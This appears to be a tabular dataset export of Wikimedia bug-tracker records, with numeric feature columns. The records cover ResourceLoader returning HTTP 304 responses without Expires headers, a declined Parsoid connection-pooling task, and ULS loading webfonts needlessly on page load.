https://issues.apache.org/bugzilla/show_bug.cgi?id=45341",Medium,50.0,1373712000,1430261997.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-j4zaska5aw3ckua7iyl5,task_description,resolved,True,c2,1,False,False,False,-7,True,0.0,0.0,0.0,0.0,0.3333333333333333,3.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,4.666666666666667,8.333333333333334,0.0,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,16.333333333333332,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.333333333333333,0.6666666666666666,8.333333333333334,0.6666666666666666,1.6666666666666667,8.333333333333334,0.0,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,2.0,0.0,1.0,8.333333333333334,2.6666666666666665,0.0,0.0,0.0,1.0,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,5.292237442922374,0.7397260273972602,"**Author:** CODE

**Description:**
There are two code paths that can lead to ResourceLoader.php calling tryRespondLastModified:

ResourceLoader::respond
  if ( $wgUseFileCache )
    ResourceLoader::tryRespondFromFileCache
      ResourceLoader::sendResponseHeaders
      ResourceLoader::tryRespondLastModified

or

ResourceLoader::respond
  tryRespondLastModified

Only one of these paths calls ResourceLoader::sendResponseHeaders.

The other path will set a HTTP 304 status and Status: 304 header, but no other headers.  The lack of the Expires header in particular causes a variety of odd problems when using (at least) mod_proxy/mod_disk_cache as an apache-based caching reverse proxy.

Using mod_proxy and mod_disk_cache from apache2 pre-2.2.18, this leads to the proxy returning erroneous 304 responses to clients who sent unconditional requests (see URL

After the fix/workaround added in 2.2.18, mod_proxy will now correctly send the cached content back to the client, but will then immediately purge the page from the cache, which is not ideal.

I fixed this locally by moving the call to sendResponseHeaders from the first call path after the call to tryRespondLastModified, then adding a call to sendResponseHeaders in tryRespondLastModified itself.

--------------------------
**See Also**:
URL"
239263,ResourceLoader should not respond with HTTP 304 without Expires (and other) headers,Could this be the root cause of bug 51766 as well?,,,1374604258,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-j4zaska5aw3ckua7iyl5,task_subcomment,,True,c2,1,True,,,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Could this be the root cause of bug 51766 as well?
239256,ResourceLoader should not respond with HTTP 304 without Expires (and other) headers,"Change 74400 had a related patch set uploaded by Catrope:
Always send headers with a 304 response in ResourceLoader

https://gerrit.wikimedia.org/r/74400",,,1374170123,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-j4zaska5aw3ckua7iyl5,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.782608695652174,0.9565217391304348,"Change 74400 had a related patch set uploaded by Catrope:
Always send headers with a 304 response in ResourceLoader

GERRIT_URL"
53272,Performance: Investigate HTTP client connection pooling and HTTP pipelining,"Our API connections are currently using the request library due to bugs in earlier versions of the native http module. We should investigate if those are fixed in 0.8 or 0.10, and then see if we can use a pool of persistent connections per worker. That should hopefully speed things up a bit by removing some latency, and give us control over the maximum concurrency we are requesting per worker.

See also:
http://nodejs.org/api/http.html#http_class_http_agent

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1373674920,1577124429.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-ps3ceyivxervpiaebadp,task_description,declined,True,c2,1,False,False,False,-7,True,1.0,0.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,1.0,4.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,1.0,3.0,1.0,0.0,0.0,4.171717171717172,0.7070707070707071,"Our API connections are currently using the request library due to bugs in earlier versions of the native http module. We should investigate if those are fixed in 0.8 or 0.10, and then see if we can use a pool of persistent connections per worker. That should hopefully speed things up a bit by removing some latency, and give us control over the maximum concurrency we are requesting per worker.

See also:
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
1416177,Performance: Investigate HTTP client connection pooling and HTTP pipelining,Parsoid/JS is not in use any more.,,,1577124429,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-ps3ceyivxervpiaebadp,task_subcomment,,True,c2,3,True,,,329,True,10.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.8,1.0,Parsoid/JS is not in use any more.
238537,Performance: Investigate HTTP client connection pooling and HTTP pipelining,Perhaps we'll just skip ahead to SPDY..,,,1402096226,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ps3ceyivxervpiaebadp,task_subcomment,,True,c2,3,False,,,40,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Perhaps we'll just skip ahead to SPDY..
53073,ULS loads many webfonts needlessly on page load,"I'm noticing considerably delayed page load since ULS became active on some pages ([[en:Special:RecentChanges]] is an impressive example).

I realized this is because of ULS loading a whole lot of webfonts only to use them on foreign language names in the ""Languages"" list on the left. Those are language versions of Wikipedia I hardly ever visit. Therefore the webfonts are not used anywhere else and downloading them is quite pointless. Actually the language names are shown fine without the need for additional fonts, that's how it worked for years now.

Therefore I strongly suggest to *not* download webfonts only for the languages list. This is pointless and only adds a huge overhead for no gain at all.

Alternatively add a hard switch to disable loading of webfonts completely (there is the setting to use ""system font"" currently but it doesn't influence the behavior described above but loads webfonts nonetheless).

The third option is to finally accept and fix bug 46306 so users can decide themselves if they want webfonts to be downloaded or not.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50836",Medium,50.0,1373406780,1379659385.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,,False,PHID-TASK-u2gugtsvvbac5ylrii64,task_description,resolved,True,c2,1,False,False,True,-8,True,0.6666666666666666,0.0,0.6666666666666666,1.0,1.6666666666666667,5.0,1.6666666666666667,0.3333333333333333,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,10.0,8.333333333333334,0.0,1.6666666666666667,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,6.0,2.3333333333333335,0.6666666666666666,1.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,1.6666666666666667,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,4.666666666666667,3.6666666666666665,8.0,2.0,2.3333333333333335,6.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.3333333333333333,0.0,3.6666666666666665,8.333333333333334,2.0,0.0,1.6666666666666667,0.0,3.6666666666666665,0.0,0.3333333333333333,1.3333333333333333,1.0,1.0,0.0,0.0,1.0,4.135021097046414,0.7426160337552744,"I'm noticing considerably delayed page load since ULS became active on some pages ([[en:Special:RecentChanges]] is an impressive example).

I realized this is because of ULS loading a whole lot of webfonts only to use them on foreign language names in the ""Languages"" list on the left. Those are language versions of Wikipedia I hardly ever visit. Therefore the webfonts are not used anywhere else and downloading them is quite pointless. Actually the language names are shown fine without the need for additional fonts, that's how it worked for years now.

Therefore I strongly suggest to *not* download webfonts only for the languages list. This is pointless and only adds a huge overhead for no gain at all.

Alternatively add a hard switch to disable loading of webfonts completely (there is the setting to use ""system font"" currently but it doesn't influence the behavior described above but loads webfonts nonetheless).

The third option is to finally accept and fix bug 46306 so users can decide themselves if they want webfonts to be downloaded or not.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
251791,ULS loads many webfonts needlessly on page load,"(In reply to comment #13)
> I'm told this was partially fixed.
> 
> (In reply to comment #9)
> > I see few options:
> > 1) do nothing
> > 2) exclude those elements from webfonts (there is similar system as for input
> > methods)
> > 3) produce a special small font that contains all the glyphs needed to
> > display
> > all the native language names
> 
> (2) was done, as far as I understand.

I found a more detailed explanation in the last [[mw:MLEB]] announcement: «Web fonts are no longer loaded for autonyms in the interlanguage area. This is a temporary change to improve performance; a more comprehensive fix may be done in the future.»",,,1380200110,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,2.0,0.0,5.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,20.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,1.0,8.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.5348837209302326,0.6046511627906976,"(In reply to comment #13)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I found a more detailed explanation in the last [[mw:MLEB]] announcement: «Web fonts are no longer loaded for autonyms in the interlanguage area. This is a temporary change to improve performance; a more comprehensive fix may be done in the future.»"
251783,ULS loads many webfonts needlessly on page load,"Oh, and (3) is tracked at bug 40874 so we can close this AFAICS.",,,1379659385,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.8333333333333335,1.0,"Oh, and (3) is tracked at bug 40874 so we can close this AFAICS."
251778,ULS loads many webfonts needlessly on page load,"I'm told this was partially fixed.

(In reply to comment #9)
> I see few options:
> 1) do nothing
> 2) exclude those elements from webfonts (there is similar system as for input
> methods)
> 3) produce a special small font that contains all the glyphs needed to
> display
> all the native language names

(2) was done, as far as I understand.
<https://ganglia.wikimedia.org/latest/graph.php?c=Bits%20caches%20esams&m=cpu_report&r=custom&s=by%20name&hc=4&mc=2&cs=9%2F19%2F2013%2012%3A3&ce=9%2F19%2F2013%2019%3A59&st=1379658930&g=network_report&z=medium> is the effect of <https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=83904&oldid=83899> i.e. https://gerrit.wikimedia.org/r/#/c/85014/ which deployed https://gerrit.wikimedia.org/r/#/c/84779/ i.e.
https://github.com/wikimedia/jquery.webfonts/commit/e71774efe38e0638eb6b847f27d207314ca6c0e8
https://github.com/wikimedia/jquery.webfonts/commit/0cbf6df025363e6917c29949b149a69d625984ad
https://github.com/wikimedia/jquery.webfonts/commit/4b646585071b9af8de34b460e801179b56eae76c
https://github.com/wikimedia/jquery.webfonts/commit/82dda43f8b6d39cc372833070524c66f7a3aea06
among which the commit(s) in question must be.",,,1379659255,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,3,True,,,3,True,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,1.0,0.0,1.0,0.0,3.0,0.0,4.0,8.0,0.0,1.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,23.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,3.0,0.0,3.0,8.0,13.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,2.948717948717949,0.5128205128205128,"I'm told this was partially fixed.

(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

(2) was done, as far as I understand.
<URL is the effect of <URL i.e. URL which deployed URL i.e.
URL
URL
URL
URL
among which the commit(s) in question must be."
251772,ULS loads many webfonts needlessly on page load,"I tend to reopen this bug because the autonyms were only part of the problem and I used this list only as an example since it was most obvious.

Actually(especially on Commons) there are many other places were various translations of the same text are offered by various translation templates. Most of the time one is only interested in his/her native language (or maybe English), therefore loading of webfonts wouldn't be necessary in this case either. The proposed solution for bug 40874 won't solve the problem, though.

The easiest solution would still be to either
- offer an option to completely disable ULS when the user knows he does not need it (bug 46306)
- offer an option to easily disable all webfonts (bug 51102)

To account for the fact that the newly developed font will mitigate the worst part (loading of almost all webfonts at one time when visiting a page with many translations) I lowered the importance of this bug.",,,1375821718,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,2,False,,,-4,True,2.0,0.0,0.5,0.5,1.5,6.5,2.5,0.5,0.5,0.0,2.0,1.0,0.0,2.0,0.5,1.5,0.0,10.0,12.0,0.0,2.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,3.5,0.5,0.5,0.5,0.0,0.0,15.0,0.0,2.0,0.0,1.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,2.0,1.0,0.5,0.0,0.5,0.0,8.5,4.0,5.5,2.5,1.0,11.5,0.0,0.0,0.0,0.0,6.0,0.0,2.5,0.0,4.0,12.0,2.0,0.0,0.0,0.0,4.0,0.0,1.0,2.0,0.0,0.5,0.0,2.0,0.0,4.1754175245939145,0.7645275680622283,"I tend to reopen this bug because the autonyms were only part of the problem and I used this list only as an example since it was most obvious.

Actually(especially on Commons) there are many other places were various translations of the same text are offered by various translation templates. Most of the time one is only interested in his/her native language (or maybe English), therefore loading of webfonts wouldn't be necessary in this case either. The proposed solution for bug 40874 won't solve the problem, though.

The easiest solution would still be to either
- offer an option to completely disable ULS when the user knows he does not need it (bug 46306)
- offer an option to easily disable all webfonts (bug 51102)

To account for the fact that the newly developed font will mitigate the worst part (loading of almost all webfonts at one time when visiting a page with many translations) I lowered the importance of this bug."
251766,ULS loads many webfonts needlessly on page load,"Going to dupe to bug 40874.

*** This bug has been marked as a duplicate of bug 40874 ***",,,1375774312,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,2,False,,,-4,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.88,0.64,"Going to dupe to bug 40874.

*** This bug has been marked as a duplicate of bug 40874 ***"
251761,ULS loads many webfonts needlessly on page load,"We're going to develop a font that will be able to display all the autonyms used in ULS, including autonyms used in MediaWiki. This will reduce the number of web fonts that have to be loaded for pages with many interlanguage links, and will also ensure a complete display of the currently used autonyms in ULS.

Tracked as https://mingle.corp.wikimedia.org/projects/internationalization/cards/1865. No guarantees on delivery yet, because it's not planned for development, but I think that in about two months we should have something for this.",,,1375772270,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,2,False,,,-4,True,2.0,1.0,0.0,1.0,1.0,3.0,1.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,18.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,16.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,10.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,18.0,3.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.138297872340425,0.7021276595744681,"We're going to develop a font that will be able to display all the autonyms used in ULS, including autonyms used in MediaWiki. This will reduce the number of web fonts that have to be loaded for pages with many interlanguage links, and will also ensure a complete display of the currently used autonyms in ULS.

Tracked as URL No guarantees on delivery yet, because it's not planned for development, but I think that in about two months we should have something for this."
251755,ULS loads many webfonts needlessly on page load,"I don't think there is consensus that loading webfonts for interlanguage links is always useless.

I see few options:
1) do nothing
2) exclude those elements from webfonts (there is similar system as for input methods)
3) produce a special small font that contains all the glyphs needed to display all the native language names

Both 2) and 3) are problematic because there are many other places besides interlangugea links where language names are present (the many non ULS language selectors, translatable pages etc.). Those would need continuous maintenance.

I would prefer 1), since it is simplest and has the least amount of maintenance needed. If the reason for creating this bug is that loading the fonts is slow, we can fix this by improving the performance of ULS (one performance fix was already deployed today).

I would dupe this to bug 50836.",,,1373486964,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-7,True,2.5,0.0,0.0,0.5,0.5,9.0,2.5,0.5,0.0,0.5,0.5,0.5,0.0,0.0,1.5,2.5,0.0,2.0,8.5,0.5,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,8.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,2.0,0.0,1.0,0.0,16.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.0,4.5,5.5,5.0,3.5,1.0,8.5,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,3.5,8.5,1.0,0.0,0.0,0.0,3.5,0.0,1.0,0.5,0.0,2.0,0.0,1.0,2.5,4.14367816091954,0.7011494252873562,"I don't think there is consensus that loading webfonts for interlanguage links is always useless.

I see few options:
1) do nothing
2) exclude those elements from webfonts (there is similar system as for input methods)
3) produce a special small font that contains all the glyphs needed to display all the native language names

Both 2) and 3) are problematic because there are many other places besides interlangugea links where language names are present (the many non ULS language selectors, translatable pages etc.). Those would need continuous maintenance.

I would prefer 1), since it is simplest and has the least amount of maintenance needed. If the reason for creating this bug is that loading the fonts is slow, we can fix this by improving the performance of ULS (one performance fix was already deployed today).

I would dupe this to bug 50836."
251749,ULS loads many webfonts needlessly on page load,"If it was implemented in a way that webfonts can be disabled for all languages at the same time this would be an appropriate solution I assume.

Since I'm not familiar with the implementation details of ULS:
Would the proposed solution in bug 51102 (allow to select if and what webfont is used for HTML elements with lang=""xy"" attribute set) disable webfonts everywhere in the UI or are there places webfonts are applied by ULS where this would not suffice?",,,1373454230,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-7,True,1.0,0.0,0.0,4.0,2.0,3.0,1.0,0.0,0.0,2.0,3.0,1.0,0.0,0.0,1.0,2.0,0.0,4.0,16.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,7.0,10.0,4.0,2.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,3.0,16.0,4.0,1.0,1.0,0.0,3.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,4.269662921348314,0.8089887640449438,"If it was implemented in a way that webfonts can be disabled for all languages at the same time this would be an appropriate solution I assume.

Since I'm not familiar with the implementation details of ULS:
Would the proposed solution in bug 51102 (allow to select if and what webfont is used for HTML elements with lang=""xy"" attribute set) disable webfonts everywhere in the UI or are there places webfonts are applied by ULS where this would not suffice?"
251745,ULS loads many webfonts needlessly on page load,I see. Would the proposal in bug 51102 tackle most of this problem?,,,1373452570,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.6666666666666665,1.0,I see. Would the proposal in bug 51102 tackle most of this problem?
251739,ULS loads many webfonts needlessly on page load,"No, I think your proposed summary doesn't fit my concerns well. Actually I have several reasons for that:
1) As pointed out I'd also be happy (if not happier) with a more general solution (e.g. turning of usage of webfonts completely as a user setting, or even solving bug 46306).
2) There are also other cases were loading of webfonts would not be really necessary, e.g. pages which include many translations (like [1]), which are hidden from the user anyway but get initially loaded (including webfonts) on page load.
3) Since this will always delay page load (even after the performance issues described in the mentioned bugs are solved) and potentially wastes bandwidth and data volume for many users (as pointed out in comment 3), this is no enhancement but should be considered a bug.

[1] http://commons.wikimedia.org/wiki/Commons:Administrators%27_noticeboard/User_problems",,,1373449439,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-u2gugtsvvbac5ylrii64,task_subcomment,,True,c2,1,False,,,-7,True,1.5,0.0,0.5,1.5,1.5,4.5,1.5,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.5,2.0,0.0,9.5,10.5,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,5.0,1.5,0.0,1.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,13.5,1.5,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.5,0.0,0.5,0.0,3.5,4.5,4.5,1.0,3.0,6.5,0.0,0.0,0.0,0.0,3.0,0.5,2.0,0.0,2.5,10.5,0.0,0.0,0.0,0.0,2.5,0.0,1.0,1.5,0.0,2.0,1.0,0.0,2.5,3.8779069767441863,0.7674418604651163,"No, I think your proposed summary doesn't fit my concerns well. Actually I have several reasons for that:
1) As pointed out I'd also be happy (if not happier) with a more general solution (e.g. turning of usage of webfonts completely as a user setting, or even solving bug 46306).
2) There are also other cases were loading of webfonts would not be really necessary, e.g. pages which include many translations (like [1]), which are hidden from the user anyway but get initially loaded (including webfonts) on page load.
3) Since this will always delay page load (even after the performance issues described in the mentioned bugs are solved) and potentially wastes bandwidth and data volume for many users (as pointed out in comment 3), this is no enhancement but should be considered a bug.

[1] URL"
251729,ULS loads many webfonts needlessly on page load,"(In reply to comment #0)
> Actually the language names are shown fine without the need for 
> additional fonts, that's how it worked for years now.

I can imagine that this would be the statement to be challenged - I always had some squares etc. displayed for some rather exotic languages/scripts, so I'm not sure if the loading is really ""needless"" if those are now displayed correctly.

